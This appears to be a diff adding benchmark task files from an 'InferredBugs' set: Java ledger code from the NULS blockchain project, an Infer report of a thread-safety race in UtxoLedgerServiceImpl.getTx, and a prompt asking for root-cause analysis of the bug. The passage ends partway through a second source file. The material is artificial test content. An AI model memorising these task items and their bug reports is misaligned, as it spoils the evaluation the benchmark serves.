+        UtxoCoinManager.getInstance().filterUtxoByLocalTxs(address, unSpends);
+
+        for (UtxoOutput output : unSpends) {
+            if (output.isLocked(NulsContext.getInstance().getBestHeight())) {
+                locked += output.getValue();
+            } else {
+                usable += output.getValue();
+            }
+        }
+
+        balance.setUsable(Na.valueOf(usable));
+        balance.setLocked(Na.valueOf(locked));
+        balance.setBalance(Na.valueOf(usable + locked));
+        return balance;
+    }
+
+    @Override
+    public Balance getBalances() {
+        Balance balances = new Balance();
+        for (String address : NulsContext.LOCAL_ADDRESS_LIST) {
+            Balance balance = getBalance(address);
+            if (balance == null) {
+                continue;
+            }
+            balances.setLocked(balances.getLocked().add(balance.getLocked()));
+            balances.setUsable(balances.getUsable().add(balance.getUsable()));
+        }
+        balances.setBalance(balances.getLocked().add(balances.getUsable()));
+        return balances;
+    }
+
+//    public Balance getBalance(String address) {
+//        if (StringUtils.isNotBlank(address)) {
+//            Balance balance = ledgerCacheService.getBalance(address);
+//            return balance;
+//        } else {
+//            Balance allBalance = new Balance();
+//            long usable = 0;
+//            long locked = 0;
+//            for (String addr : NulsContext.LOCAL_ADDRESS_LIST) {
+//                Balance balance = ledgerCacheService.getBalance(addr);
+//                if (null != balance) {
+//                    usable += balance.getUsable().getValue();
+//                    locked += balance.getLocked().getValue();
+//                }
+//            }
+//            allBalance.setUsable(Na.valueOf(usable));
+//            allBalance.setLocked(Na.valueOf(locked));
+//            allBalance.setBalance(Na.valueOf(usable + locked));
+//            return allBalance;
+//        }
+//    }
+
+    @Override
+    public Na getTxFee(int txType) {
+        Block bestBlock = NulsContext.getInstance().getBestBlock();
+        if (null == bestBlock) {
+            return LedgerConstant.TRANSACTION_FEE;
+        }
+        long blockHeight = bestBlock.getHeader().getHeight();
+        if (txType == TransactionConstant.TX_TYPE_COIN_BASE ||
+                txType == TransactionConstant.TX_TYPE_SMALL_CHANGE
+                || txType == TransactionConstant.TX_TYPE_CANCEL_DEPOSIT
+                ) {
+            return Na.ZERO;
+        }
+        long x = blockHeight / LedgerConstant.BLOCK_COUNT_OF_YEAR + 1;
+        return LedgerConstant.TRANSACTION_FEE.div(x);
+    }
+
+    @Override
+    public Result transfer(String address, String password, String toAddress, Na amount, String remark) {
+        CoinTransferData coinData = new CoinTransferData(OperationType.TRANSFER, amount, address, toAddress, getTxFee(TransactionConstant.TX_TYPE_TRANSFER));
+        return transfer(coinData, password, remark);
+    }
+
+    private Result transfer(CoinTransferData coinData, String password, String remark) {
+        TransferTransaction tx = null;
+        try {
+            tx = UtxoTransactionTool.getInstance().createTransferTx(coinData, password, remark);
+            ValidateResult result = this.verifyTx(tx, this.getWaitingTxList());
+            if (result.isFailed()) {
+                throw new NulsException(result.getErrorCode());
+            }
+            this.saveLocalTx(tx);
+            TransactionEvent event = new TransactionEvent();
+            event.setEventBody(tx);
+            eventBroadcaster.publishToLocal(event);
+        } catch (Exception e) {
+            Log.error(e);
+            return new Result(false, e.getMessage());
+        }
+        return new Result(true, "OK", tx.getHash().getDigestHex());
+    }
+
+    @Override
+    public Result transfer(List<String> addressList, String password, String toAddress, Na amount, String remark) {
+        CoinTransferData coinData = new CoinTransferData(OperationType.TRANSFER, amount, addressList, toAddress, getTxFee(TransactionConstant.TX_TYPE_TRANSFER));
+        return transfer(coinData, password, remark);
+    }
+
+    @Override
+    public Result lock(String address, String password, Na amount, long unlockTime, String remark) {
+        LockNulsTransaction tx = null;
+        try {
+            CoinTransferData coinData = new CoinTransferData(OperationType.LOCK, amount, address, getTxFee(TransactionConstant.TX_TYPE_LOCK));
+            coinData.addTo(new Coin(address, amount, unlockTime, 0));
+            tx = UtxoTransactionTool.getInstance().createLockNulsTx(coinData, password, remark);
+
+            tx.verify();
+            TransactionEvent event = new TransactionEvent();
+            event.setEventBody(tx);
+            eventBroadcaster.publishToLocal(event);
+
+        } catch (Exception e) {
+            Log.error(e);
+            try {
+                rollbackTx(tx, null);
+            } catch (NulsException e1) {
+                Log.error(e1);
+            }
+            return new Result(false, e.getMessage());
+        }
+
+        return new Result(true, "OK", tx.getHash().getDigestHex());
+    }
+
+    @Override
+    @DbSession
+    public void saveTxList(List<Transaction> txList, long blockHeight) throws IOException {
+        lock.lock();
+        try {
+            boolean isMine;
+            List<TransactionPo> poList = new ArrayList<>();
+            List<TransactionLocalPo> localPoList = new ArrayList<>();
+            for (int i = 0; i < txList.size(); i++) {
+                isMine = false;
+                Transaction tx = txList.get(i);
+                TransactionPo po = UtxoTransferTool.toTransactionPojo(tx, blockHeight);
+                poList.add(po);
+                if (tx.getType() == TransactionConstant.TX_TYPE_CANCEL_DEPOSIT) {
+                    TransactionLocalPo localPo = localTxDao.get(tx.getHash().getDigestHex());
+                    if (localPo != null) {
+                        localPo.setTxStatus(TransactionLocalPo.CONFIRM);
+                        localPo.setBlockHeight(tx.getBlockHeight());
+                        localTxDao.update(localPo);
+                        continue;
+                    }
+                } else {
+                    isMine = this.checkTxIsMine(tx);
+                }
+                if (isMine) {
+                    TransactionLocalPo localPo = UtxoTransferTool.toLocalTransactionPojo(tx);
+                    localPoList.add(localPo);
+                }
+            }
+            int successCount = txDao.save(poList);
+            if (successCount != poList.size()) {
+                throw new NulsRuntimeException(ErrorCode.FAILED, "save block txs fail , totalCount : " + poList.size() + " , successCount : " + successCount);
+            }
+
+            for (TransactionLocalPo localPo : localPoList) {
+                TransactionLocalPo po = localTxDao.get(localPo.getHash());
+                localPo.setTxStatus(TransactionLocalPo.CONFIRM);
+                if (po != null) {
+                    localTxDao.update(localPo);
+                } else {
+                    localTxDao.save(localPo);
+                }
+            }
+        } catch (Exception e) {
+            Log.error(e);
+            throw e;
+        } finally {
+            lock.unlock();
+        }
+    }
+
+    @Override
+    public boolean saveLocalTx(Transaction tx) throws IOException {
+        try {
+            ValidateResult validateResult = this.conflictDetectTx(tx, this.getWaitingTxList());
+            if (validateResult.isFailed()) {
+                throw new NulsRuntimeException(validateResult.getErrorCode(), validateResult.getMessage());
+            }
+        } catch (Exception e) {
+            Log.error(e);
+            throw new NulsRuntimeException(e);
+        }
+        TransactionLocalPo localPo = UtxoTransferTool.toLocalTransactionPojo(tx);
+        localPo.setTxStatus(TransactionLocalPo.UNCONFIRM);
+        localTxDao.save(localPo);
+        // save relation
+        if (tx instanceof AbstractCoinTransaction) {
+            AbstractCoinTransaction abstractTx = (AbstractCoinTransaction) tx;
+            UtxoData utxoData = (UtxoData) abstractTx.getCoinData();
+            if (utxoData.getInputs() != null && !utxoData.getInputs().isEmpty()) {
+                UtxoInput input = utxoData.getInputs().get(0);
+                UtxoOutput output = input.getFrom();
+                TxAccountRelationPo relationPo = new TxAccountRelationPo();
+                relationPo.setTxHash(tx.getHash().getDigestHex());
+                relationPo.setAddress(output.getAddress());
+                relationDataService.save(relationPo);
+            }
+        }
+//        if (tx instanceof AbstractCoinTransaction) {
+//            AbstractCoinTransaction abstractTx = (AbstractCoinTransaction) tx;
+//            UtxoData utxoData = (UtxoData) abstractTx.getCoinData();
+//
+//            for (UtxoOutput output : utxoData.getOutputs()) {
+//                if (output.isUsable() && NulsContext.LOCAL_ADDRESS_LIST.contains(output.getAddress())) {
+//                    output.setTxHash(tx.getHash());
+//                    ledgerCacheService.putUtxo(output.getKey(), output, false);
+//                }
+//            }
+//        }
+        return true;
+    }
+
+    @Override
+    @DbSession
+    public void removeLocalTxs(String address) {
+        List<TxAccountRelationPo> relationList = relationDataService.selectByAddress(address);
+        for (TxAccountRelationPo po : relationList) {
+            localTxDao.delete(po.getTxHash());
+        }
+    }
+
+    @Override
+    @DbSession
+    public void saveTxInLocal(String address) {
+        List<TransactionPo> poList = txDao.getTxs(null, address, 0, 0, 0);
+        if (poList.isEmpty()) {
+            return;
+        }
+        List<TransactionLocalPo> localPoList = new ArrayList<>();
+
+        for (TransactionPo po : poList) {
+            TransactionLocalPo localPo = localTxDao.get(po.getHash());
+            if (localPo != null) {
+                continue;
+            }
+
+            localPo = new TransactionLocalPo(po, Transaction.TRANSFER_RECEIVE);
+            for (UtxoInputPo inputPo : po.getInputs()) {
+                if (inputPo.getFromOutPut().getAddress().equals(address)) {
+                    localPo.setTransferType(Transaction.TRANSFER_SEND);
+                    break;
+                }
+            }
+            localPo.setTxStatus(TransactionLocalPo.CONFIRM);
+            localTxDao.save(localPo);
+            //localPoList.add(localPo);
+        }
+        //localTxDao.save(localPoList);
+    }
+
+
+    @Override
+    public boolean checkTxIsMine(Transaction tx) {
+        if (tx instanceof AbstractCoinTransaction) {
+            return UtxoTransactionTool.getInstance().isMine((AbstractCoinTransaction) tx);
+        }
+        return false;
+    }
+
+    @Override
+    public boolean checkTxIsMine(Transaction tx, String address) {
+        if (tx instanceof AbstractCoinTransaction) {
+            return UtxoTransactionTool.getInstance().isMine((AbstractCoinTransaction) tx, address);
+        }
+        return false;
+    }
+
+    @Override
+    public boolean checkTxIsMySend(Transaction tx) {
+        if (tx instanceof AbstractCoinTransaction) {
+            return UtxoTransactionTool.getInstance().isMySend((AbstractCoinTransaction) tx);
+        }
+        return false;
+    }
+
+    @Override
+    public boolean checkTxIsMySend(Transaction tx, String address) {
+        if (tx instanceof AbstractCoinTransaction) {
+            return UtxoTransactionTool.getInstance().isMySend((AbstractCoinTransaction) tx, address);
+        }
+        return false;
+    }
+
+    @Override
+
+    public void rollbackTx(Transaction tx, Block block) throws NulsException {
+        AssertUtil.canNotEmpty(tx, ErrorCode.NULL_PARAMETER);
+        BlockLog.debug("rollback tx:{}", tx.getHash());
+        List<TransactionService> serviceList = getServiceList(tx.getClass());
+        for (TransactionService service : serviceList) {
+            service.onRollback(tx, block);
+        }
+        tx.setStatus(TxStatusEnum.UNCONFIRM);
+    }
+
+    @Override
+    @DbSession
+    public void commitTx(Transaction tx, Block block) throws NulsException {
+        AssertUtil.canNotEmpty(tx, ErrorCode.NULL_PARAMETER);
+//        if (tx.getStatus() != TxStatusEnum.AGREED) {
+//            return;
+//        }
+        List<TransactionService> serviceList = getServiceList(tx.getClass());
+        List<TransactionService> commitedServiceList = new ArrayList<>();
+        try {
+            for (TransactionService service : serviceList) {
+                service.onCommit(tx, block);
+                commitedServiceList.add(service);
+            }
+        } catch (Exception e) {
+            Log.error(e);
+            for (int i = commitedServiceList.size() - 1; i >= 0; i--) {
+                TransactionService service = commitedServiceList.get(i);
+                service.onRollback(tx, block);
+            }
+            throw e;
+        }
+        tx.setStatus(TxStatusEnum.CONFIRMED);
+    }
+
+    @Override
+    public ValidateResult conflictDetectTx(Transaction tx, List<Transaction> txList) throws NulsException {
+        AssertUtil.canNotEmpty(tx, ErrorCode.NULL_PARAMETER);
+        if (null == txList || txList.isEmpty()) {
+            return ValidateResult.getSuccessResult();
+        }
+        List<TransactionService> serviceList = getServiceList(tx.getClass());
+        ValidateResult result = null;
+
+        for (TransactionService service : serviceList) {
+            result = service.conflictDetect(tx, txList);
+            if (result.isFailed()) {
+                break;
+            }
+        }
+
+        return result;
+    }
+
+    @Override
+    public void deleteTx(Transaction tx) {
+        txDao.delete(tx.getHash().getDigestHex());
+    }
+
+    @Override
+    @DbSession
+    public void deleteTx(long blockHeight) {
+        List<TransactionPo> txList = txDao.getTxs(blockHeight);
+        for (TransactionPo tx : txList) {
+            txDao.delete(tx.getHash());
+            TransactionLocalPo localPo = localTxDao.get(tx.getHash());
+            if (localPo != null) {
+                if (localPo.getType() == TransactionConstant.TX_TYPE_COIN_BASE) {
+                    localTxDao.delete(localPo.getHash());
+                }
+                localPo.setTxStatus(TransactionLocalPo.UNCONFIRM);
+                localTxDao.update(localPo);
+            }
+        }
+    }
+
+    @Override
+    public long getBlockReward(long blockHeight) {
+        return outputDataService.getRewardByBlockHeight(blockHeight);
+    }
+
+    @Override
+    public Long getBlockFee(Long blockHeight) {
+        return txDao.getFeeByHeight(blockHeight);
+    }
+
+    @Override
+    public long getLastDayTimeReward() {
+        return outputDataService.getLastDayTimeReward();
+    }
+
+    @Override
+    public long getAccountReward(String address, long lastTime) {
+        return outputDataService.getAccountReward(address, lastTime);
+    }
+
+    @Override
+    public long getAgentReward(String address, int type) {
+        return outputDataService.getAgentReward(address, type);
+    }
+
+    @Override
+    public void unlockTxApprove(String txHash) {
+//        boolean b = true;
+//        int index = 0;
+//        while (b) {
+//            UtxoOutput output = ledgerCacheService.getUtxo(txHash + "-" + index);
+//            if (output != null) {
+//                if (OutPutStatusEnum.UTXO_CONFIRMED_CONSENSUS_LOCK == output.getStatus()) {
+//                    output.setStatus(OutPutStatusEnum.UTXO_CONFIRMED_UNSPENT);
+//                }
+//                UtxoTransactionTool.getInstance().calcBalance(output.getAddress(), false);
+//                index++;
+//            } else {
+//                b = false;
+//            }
+//        }
+    }
+
+    @Override
+    @DbSession
+    public void unlockTxSave(String txHash) {
+        Log.debug("-------------- exit agent unlockTxSave  ------------------txHash:" + txHash);
+        outputDataService.unlockTxOutput(txHash);
+        String key = txHash + "-" + 0;
+        UtxoOutput output = ledgerCacheService.getUtxo(key);
+        output.setStatus(OutPutStatusEnum.UTXO_UNSPENT);
+        ledgerCacheService.putUtxo(key, output, true);
+//        UtxoTransactionTool.getInstance().calcBalance(output.getAddress(), false);
+    }
+
+    @Override
+    @DbSession
+    public void unlockTxRollback(String txHash) {
+        Log.debug("-------------- exit agent unlockTxRollback  ------------------txHash:" + txHash);
+        outputDataService.lockTxOutput(txHash);
+        Map<String, Object> keyMap = new HashMap<>();
+
+        keyMap.put("txHash", txHash);
+        keyMap.put("outIndex", 0);
+        UtxoOutputPo po = outputDataService.get(keyMap);
+        if (po != null) {
+            po.setStatus(UtxoOutputPo.LOCKED);
+            outputDataService.update(po);
+            UtxoOutput output = UtxoTransferTool.toOutput(po);
+            ledgerCacheService.putUtxo(output.getKey(), output, true);
+        }
+    }
+
+    @Override
+    public Page<UtxoOutput> getLockUtxo(String address, Integer pageNumber, Integer pageSize) {
+        List<UtxoOutput> lockOutputs = new ArrayList<>();
+        long count = outputDataService.getLockUtxoCount(address, TimeService.currentTimeMillis(), NulsContext.getInstance().getBestHeight());
+        List<AbstractCoinTransaction> localTxs = UtxoCoinManager.getInstance().getLocalUnConfirmTxs();
+        for (int i = localTxs.size() - 1; i >= 0; i--) {
+            AbstractCoinTransaction tx = localTxs.get(i);
+            UtxoData utxoData = (UtxoData) tx.getCoinData();
+            for (int j = utxoData.getOutputs().size() - 1; j >= 0; j--) {
+                UtxoOutput output = utxoData.getOutputs().get(j);
+                if (output.isLocked(NulsContext.getInstance().getBestHeight()) && NulsContext.LOCAL_ADDRESS_LIST.contains(output.getAddress())) {
+                    output.setCreateTime(tx.getTime());
+                    output.setTxType(tx.getType());
+                    lockOutputs.add(output);
+                }
+            }
+        }
+
+        int start = (pageNumber - 1) * pageSize;
+        if (lockOutputs.size() >= start + pageSize) {
+            lockOutputs = lockOutputs.subList(start, start + pageSize);
+            Page page = new Page(pageNumber, pageSize);
+            page.setList(lockOutputs);
+            page.setTotal(count);
+            return page;
+        } else if (start < lockOutputs.size()) {
+            lockOutputs = lockOutputs.subList(start, lockOutputs.size());
+            start = 0;
+            pageSize = pageSize - lockOutputs.size();
+        } else {
+            start = start - lockOutputs.size();
+        }
+
+        Collections.reverse(lockOutputs);
+        List<UtxoOutputPo> poList = outputDataService.getLockUtxo(address, TimeService.currentTimeMillis(), NulsContext.getInstance().getBestHeight(), start, pageSize);
+        for (UtxoOutputPo po : poList) {
+            lockOutputs.add(UtxoTransferTool.toOutput(po));
+        }
+        Page page = new Page(pageNumber, pageSize);
+        page.setTotal(count);
+        page.setList(lockOutputs);
+        return page;
+    }
+
+    @Override
+    public Balance getAccountUtxo(String address, Na amount) {
+        UtxoBalance balance = new UtxoBalance();
+        List<UtxoOutput> unSpends = UtxoCoinManager.getInstance().getAccountUnSpend(address, amount);
+        balance.setUnSpends(unSpends);
+        return balance;
+    }
+
+    public List<TransactionService> getServiceList(Class<? extends Transaction> txClass) {
+        List<TransactionService> list = new ArrayList<>();
+        Class clazz = txClass;
+        while (!clazz.equals(Transaction.class)) {
+            TransactionService txService = TransactionManager.getService(clazz);
+            if (null != txService) {
+                list.add(0, txService);
+            }
+            clazz = clazz.getSuperclass();
+        }
+        return list;
+    }
+
+    @Override
+    public void resetLedgerCache() {
+//        ledgerCacheService.clear();
+//        UtxoCoinManager.getInstance().cacheAllUnSpendUtxo();
+    }
+
+    @Override
+    public List<Transaction> getWaitingTxList() throws NulsException {
+        List<TransactionLocalPo> poList = localTxDao.getUnConfirmTxs();
+        List<Transaction> txList = new ArrayList<>();
+        for (TransactionLocalPo po : poList) {
+            Transaction tx = UtxoTransferTool.toTransaction(po);
+            txList.add(tx);
+        }
+        return txList;
+    }
+
+    @Override
+    @DbSession
+    public void deleteLocalTx(String txHash) {
+        this.localTxDao.delete(txHash);
+    }
+
+    @Override
+    public ValidateResult verifyTx(Transaction tx, List<Transaction> txList) {
+        ValidateResult result = tx.verify();
+        if (result.isFailed() && result.getErrorCode() == ErrorCode.ORPHAN_TX) {
+            AbstractCoinTransaction coinTx = (AbstractCoinTransaction) tx;
+            result = coinTx.getCoinDataProvider().verifyCoinData(coinTx, txList);
+            if (result.isSuccess()) {
+                coinTx.setSkipInputValidator(true);
+                result = coinTx.verify();
+                coinTx.setSkipInputValidator(false);
+            }
+        }
+        return result;
+    }
+
+    @Override
+    public void verifyTxWithException(Transaction tx, List<Transaction> txList) {
+        ValidateResult result = this.verifyTx(tx, txList);
+        if (result.isFailed()) {
+            throw new NulsRuntimeException(result.getErrorCode(), result.getMessage());
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `io.nuls.ledger.service.impl.UtxoLedgerServiceImpl.getTx` indirectly reads without synchronization from `i18n.I18nUtils.io.nuls.core.i18n.I18nUtils.nowMapping`. Potentially races with write in method `UtxoLedgerServiceImpl.saveTxList(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Transaction UtxoLedgerServiceImpl.getTx(NulsDigestData)
+
+### Procedure Id:
+io.nuls.ledger.service.impl.UtxoLedgerServiceImpl.getTx(io.nuls.protocol.model.NulsDigestData):io.nu.727188f4049803f29f5415940d055783
+
+### File:
+ledger-impl/src/main/java/io/nuls/ledger/service/impl/UtxoLedgerServiceImpl.java
+
+### Key:
+UtxoLedgerServiceImpl.java|getTx|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+ee437bca84d6a04e7dfe72916bb36afe
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3985/instruction.md b/inferredbugs-3985/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8ece17596784eacb91799c1b23546780f5ebea66
--- /dev/null
+++ b/inferredbugs-3985/instruction.md
@@ -0,0 +1,726 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nuls
+**Bug ID:** 102
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MIT License
+ * *
+ * Copyright (c) 2017-2018 nuls.io
+ * *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ * *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package io.nuls.ledger.service.impl;
+
+import io.nuls.account.entity.Account;
+import io.nuls.account.entity.Address;
+import io.nuls.account.service.intf.AccountService;
+import io.nuls.core.constant.ErrorCode;
+import io.nuls.core.exception.NulsException;
+import io.nuls.core.exception.NulsRuntimeException;
+import io.nuls.core.utils.date.TimeService;
+import io.nuls.core.utils.log.Log;
+import io.nuls.core.utils.spring.lite.annotation.Autowired;
+import io.nuls.core.validate.ValidateResult;
+import io.nuls.db.dao.TxAccountRelationDataService;
+import io.nuls.db.dao.UtxoInputDataService;
+import io.nuls.db.dao.UtxoOutputDataService;
+import io.nuls.db.entity.TxAccountRelationPo;
+import io.nuls.db.entity.UtxoInputPo;
+import io.nuls.db.entity.UtxoOutputPo;
+import io.nuls.db.transactional.annotation.DbSession;
+import io.nuls.ledger.entity.*;
+import io.nuls.ledger.entity.params.Coin;
+import io.nuls.ledger.entity.params.CoinTransferData;
+import io.nuls.ledger.entity.tx.AbstractCoinTransaction;
+import io.nuls.ledger.entity.tx.LockNulsTransaction;
+import io.nuls.ledger.entity.tx.UnlockNulsTransaction;
+import io.nuls.ledger.service.intf.CoinDataProvider;
+import io.nuls.ledger.util.UtxoTransactionTool;
+import io.nuls.ledger.util.UtxoTransferTool;
+import io.nuls.protocol.constant.TransactionConstant;
+import io.nuls.protocol.constant.TxStatusEnum;
+import io.nuls.protocol.model.Na;
+import io.nuls.protocol.model.NulsDigestData;
+import io.nuls.protocol.model.Transaction;
+import io.nuls.protocol.script.P2PKHScript;
+import io.nuls.protocol.script.P2PKHScriptSig;
+import io.nuls.protocol.utils.io.NulsByteBuffer;
+
+import java.io.Serializable;
+import java.util.*;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * @author Niels
+ * @date 2017/12/21
+ */
+public class UtxoCoinDataProvider implements CoinDataProvider {
+
+    //    private LedgerCacheService ledgerCacheService = LedgerCacheService.getInstance();
+    @Autowired
+    private UtxoOutputDataService outputDataService;
+    @Autowired
+    private UtxoInputDataService inputDataService;
+    @Autowired
+    private TxAccountRelationDataService relationDataService;
+    @Autowired
+    private AccountService accountService;
+
+    private UtxoCoinManager coinManager = UtxoCoinManager.getInstance();
+
+    private LedgerCacheService ledgerCacheService = LedgerCacheService.getInstance();
+
+    private static Lock lock = new ReentrantLock();
+
+    @Override
+    public CoinData parse(NulsByteBuffer byteBuffer) throws NulsException {
+        CoinData coinData = byteBuffer.readNulsData(new UtxoData());
+        return coinData;
+    }
+
+//    @Override
+//    public void approve(CoinData coinData, Transaction tx) throws NulsException {
+//        //spent the transaction specified output in the cache when the newly received transaction is approved.
+//        UtxoData utxoData = (UtxoData) coinData;
+//        for (UtxoInput input : utxoData.getInputs()) {
+//            input.setTxHash(tx.getHash());
+//        }
+//        for (UtxoOutput output : utxoData.getOutputs()) {
+//            output.setTxHash(tx.getHash());
+//        }
+//
+//        List<UtxoOutput> unSpends = new ArrayList<>();
+//        Set<String> addressSet = new HashSet<>();
+//        try {
+//            lock.lock();
+//            //update inputs referenced utxo status
+//            for (int i = 0; i < utxoData.getInputs().size(); i++) {
+//                UtxoInput input = utxoData.getInputs().get(i);
+//                UtxoOutput unSpend = ledgerCacheService.getUtxo(input.getKey());
+//                if (null == unSpend) {
+//                    throw new NulsRuntimeException(ErrorCode.DATA_ERROR, "the output is not exist!");
+//                }
+//                if (tx.getType() != TransactionConstant.TX_TYPE_STOP_AGENT) {
+//                    if (!unSpend.isUsable()) {
+//                        throw new NulsRuntimeException(ErrorCode.UTXO_UNUSABLE);
+//                    }
+//                    if (OutPutStatusEnum.UTXO_CONFIRMED_UNSPENT == unSpend.getStatus()) {
+//                        unSpend.setStatus(OutPutStatusEnum.UTXO_CONFIRMED_SPENT);
+//                    }
+//                } else {
+//                    if (unSpend.getStatus() == OutPutStatusEnum.UTXO_CONFIRMED_CONSENSUS_LOCK) {
+//                        unSpend.setStatus(OutPutStatusEnum.UTXO_CONFIRMED_SPENT);
+//                    } else {
+//                        throw new NulsRuntimeException(ErrorCode.UTXO_UNUSABLE);
+//                    }
+//                }
+//                BlockLog.debug("use utxo:txHash:" + tx.getHash() + ", utxoKey:" + unSpend.getKey());
+//                unSpends.add(unSpend);
+//                addressSet.add(unSpend.getAddress());
+//            }
+//
+//            //cache new utxo ,it is unConfirm
+//            approveProcessOutput(utxoData.getOutputs(), tx, addressSet);
+//        } catch (Exception e) {
+//            //rollback
+//            for (UtxoOutput output : unSpends) {
+//                if (tx.getType() != TransactionConstant.TX_TYPE_STOP_AGENT) {
+//                    if (OutPutStatusEnum.UTXO_CONFIRMED_SPENT.equals(output.getStatus())) {
+//                        ledgerCacheService.updateUtxoStatus(output.getKey(), OutPutStatusEnum.UTXO_CONFIRMED_UNSPENT, OutPutStatusEnum.UTXO_CONFIRMED_SPENT);
+//                    }
+//                } else {
+//                    if (output.getStatus() == OutPutStatusEnum.UTXO_CONFIRMED_SPENT) {
+//                        output.setStatus(OutPutStatusEnum.UTXO_CONFIRMED_CONSENSUS_LOCK);
+//                    }
+//                }
+//            }
+//            // remove cache new utxo
+//            for (int i = 0; i < utxoData.getOutputs().size(); i++) {
+//                UtxoOutput output = utxoData.getOutputs().get(i);
+//                ledgerCacheService.removeUtxo(output.getKey());
+//            }
+//            throw e;
+//        } finally {
+//            lock.unlock();
+//            //calc balance
+//            for (String address : addressSet) {
+//                UtxoTransactionTool.getInstance().calcBalance(address, false);
+//            }
+//        }
+//    }
+
+//    private void approveProcessOutput(List<UtxoOutput> outputs, Transaction tx, Set<String> addressSet) {
+//        for (int i = 0; i < outputs.size(); i++) {
+//            UtxoOutput output = outputs.get(i);
+//            if (tx instanceof LockNulsTransaction && i == 0 && output.getLockTime() == 0) {
+//                output.setStatus(OutPutStatusEnum.UTXO_CONFIRMED_CONSENSUS_LOCK);
+//            } else if (output.getLockTime() > 0) {
+//                output.setStatus(OutPutStatusEnum.UTXO_CONFIRMED_TIME_LOCK);
+//            } else {
+//                output.setStatus(OutPutStatusEnum.UTXO_CONFIRMED_UNSPENT);
+//            }
+//            ledgerCacheService.putUtxo(output.getKey(), output);
+//            addressSet.add(output.getAddress());
+//        }
+//    }
+
+    /**
+     * 1. change spending output status  (cache and database)
+     * 2. save new input
+     * 3. save new unSpend output (cache and database)
+     * 4. finally, calc balance
+     */
+    @Override
+    @DbSession
+    public void save(CoinData coinData, Transaction tx) throws NulsException {
+        UtxoTransactionTool.getInstance().setTxhashToUtxo(tx);
+
+        UtxoData utxoData = (UtxoData) coinData;
+        List<UtxoInputPo> inputPoList = new ArrayList<>();
+        List<UtxoOutputPo> spendPoList = new ArrayList<>();
+        List<TxAccountRelationPo> txRelations = new ArrayList<>();
+        List<UtxoOutput> spends = new ArrayList<>();
+        Set<String> addressSet = new HashSet<>();
+        lock.lock();
+        try {
+            processDataInput(utxoData, spends, inputPoList, spendPoList, addressSet, tx);
+
+            refreshCache(spends, utxoData.getOutputs());
+
+            List<UtxoOutputPo> outputPoList = new ArrayList<>();
+            for (int i = 0; i < utxoData.getOutputs().size(); i++) {
+                UtxoOutput output = utxoData.getOutputs().get(i);
+                output.setTxHash(tx.getHash());
+                UtxoOutputPo outputPo = UtxoTransferTool.toOutputPojo(output);
+                outputPoList.add(outputPo);
+                addressSet.add(Address.fromHashs(output.getAddress()).getBase58());
+            }
+
+            for (String address : addressSet) {
+                TxAccountRelationPo relationPo = new TxAccountRelationPo(tx.getHash().getDigestHex(), address);
+                if (relationDataService.getRelationCount(relationPo.getTxHash(), address) == 0) {
+                    relationDataService.save(relationPo);
+                }
+//                txRelations.add(relationPo);
+            }
+
+            outputDataService.updateStatus(spendPoList);
+            inputDataService.save(inputPoList);
+            outputDataService.save(outputPoList);
+
+//            relationDataService.save(txRelations);
+//
+//            for (String address : addressSet) {
+//                UtxoTransactionTool.getInstance().calcBalance(address, true);
+//            }
+        } catch (Exception e) {
+//          rollback
+            Log.warn(e.getMessage(), e);
+            for (UtxoOutput output : utxoData.getOutputs()) {
+                ledgerCacheService.removeUtxo(output.getKey());
+            }
+            for (UtxoOutput spend : spends) {
+                if (tx.getType() == TransactionConstant.TX_TYPE_STOP_AGENT) {
+                    spend.setLockTime(0L);
+                    spend.setStatus(OutPutStatusEnum.UTXO_CONSENSUS_LOCK);
+                } else {
+                    spend.setStatus(OutPutStatusEnum.UTXO_UNSPENT);
+                }
+                ledgerCacheService.putUtxo(spend.getKey(), spend, true);
+            }
+            throw e;
+        } finally {
+            lock.unlock();
+        }
+    }
+
+    //Check if the input referenced output has been spent
+    private void processDataInput(UtxoData utxoData, List<UtxoOutput> spends, List<UtxoInputPo> inputPoList,
+                                  List<UtxoOutputPo> spendPoList, Set<String> addressSet, Transaction tx) {
+        Map<String, Object> map = new HashMap<>();
